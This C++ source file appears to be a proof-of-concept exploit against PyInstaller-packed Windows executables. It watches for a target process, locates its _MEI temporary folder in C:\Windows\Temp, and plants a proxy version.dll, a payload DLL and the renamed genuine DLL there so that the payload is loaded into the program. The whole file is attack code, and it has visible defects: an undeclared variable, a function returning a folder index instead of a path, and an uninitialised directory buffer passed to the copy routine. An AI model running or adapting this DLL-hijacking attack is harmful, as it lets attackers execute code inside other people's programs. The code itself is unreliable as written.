#include <windows.h>
#include <tchar.h>
#include <vector>
#include <TlHelp32.h> 

#define PROXYFILE "version.dll" // filename of the proxy DLL
#define PAYLOAD "payload.dll" // filename of the payload DLL
#define LEGITFILE "version2.dll" // filename of the legit DLL
#define DLL_SRC_DIR "C:\\Users\\temp\\Desktop\\poc_dll\\" // source directory containing the 3 DLLs 

#define PROC_NAME "window.exe" // name of the process we want to exploit
#define TEMP_DIR "C:\\Windows\\Temp" // windows default temp dir

DWORD findProcess(char* procName, DWORD minPID) { // Return the PID of the 1st process named procName, skip process with pid <= minPID
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);

	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //get the snapshot 
	if (hProcessSnap == INVALID_HANDLE_VALUE) {
		printf("CreateToolhelp32Snapshot Error!\n");
		return false;
	}

	BOOL bResult = Process32First(hProcessSnap, &pe32);
	while (bResult) {
		if (pe32.th32ProcessID > minPID && strcmp(pe32.szExeFile, procName) == 0) {
			pid = pe32.th32ProcessID;
            CloseHandle(hProcessSnap);
			return pid;
		}
		bResult = Process32Next(hProcessSnap, &pe32);
	}

	CloseHandle(hProcessSnap);
	return -1;
}


int injectDLL(const char* dir) { // Inject the 3 DLLs into dir
	char infilepath[MAX_PATH] = { 0 }, infilepath2[MAX_PATH] = { 0 }, infilepath3[MAX_PATH] = { 0 };
    char outfilepath[MAX_PATH] = { 0 }, outfilepath2[MAX_PATH] = { 0 }, outfilepath3[MAX_PATH] = { 0 };

    strcpy_s(infilepath, MAX_PATH, DLL_SRC_DIR);
    strcpy_s(infilepath2, MAX_PATH, DLL_SRC_DIR);
    strcpy_s(infilepath3, MAX_PATH, DLL_SRC_DIR);

	strcpy_s(outfilepath, MAX_PATH, dir);
	strcpy_s(outfilepath2, MAX_PATH, dir);
	strcpy_s(outfilepath3, MAX_PATH, dir);

    strcat_s(infilepath, MAX_PATH, _T(PROXYFILE));
	strcat_s(infilepath2, MAX_PATH, _T(PAYLOAD));
	strcat_s(infilepath3, MAX_PATH, _T(LEGITFILE));

	strcat_s(outfilepath, MAX_PATH, _T(PROXYFILE));
	strcat_s(outfilepath2, MAX_PATH, _T(PAYLOAD));
	strcat_s(outfilepath3, MAX_PATH, _T(LEGITFILE));


	int cf1 = CopyFile(infilepath2, outfilepath2, FALSE); // inject payload
	int cf2 = CopyFile(infilepath3, outfilepath3, FALSE); // inject legit DLL
	int cf = CopyFile(infilepath, outfilepath, FALSE); // inject proxy DLL

	return (cf & cf1 & cf2);
}

DWORD findDir(DWORD pid) { // Find PyInstaller temp directory coresponding to the pid
	char dir[MAX_PATH];

	for (int i = 0 ; i < 10 ; i++) {
		sprintf_s(dir, MAX_PATH, "%s\\_MEI%d%d\\", TEMP_DIR, pid, i);
		DWORD ftyp = GetFileAttributesA(dir);
		if (ftyp == FILE_ATTRIBUTE_DIRECTORY) // directory found
			return i;
	}
	return -1;
}

int main() {
	printf("[+] PWNing PyInstaller...\n");
	printf("[+] Finding pid...\n");
	int pid = -1, dirId = -1, result;
	char procname[] = PROC_NAME;
    char dir[MAX_PATH];
	while (true) {
		while (true) {
			pid = findProcess(procname, pid); // find PID
			if (pid != -1) {
				printf("[+] Found pid %d with the name %s\n", pid, procname);
                break;
			}
		}
        dirId = findDir(pid); // find temp dir
        if (dirId != -1) {
            printf("[+] Found dir name : _MEI%d%d\n", pid, dirId);
            printf("[+] Injecting %s\n", PROXYFILE);
            result = injectDLL(dir); // inject DLLs
            return result;
		}
	}
	return 0;
}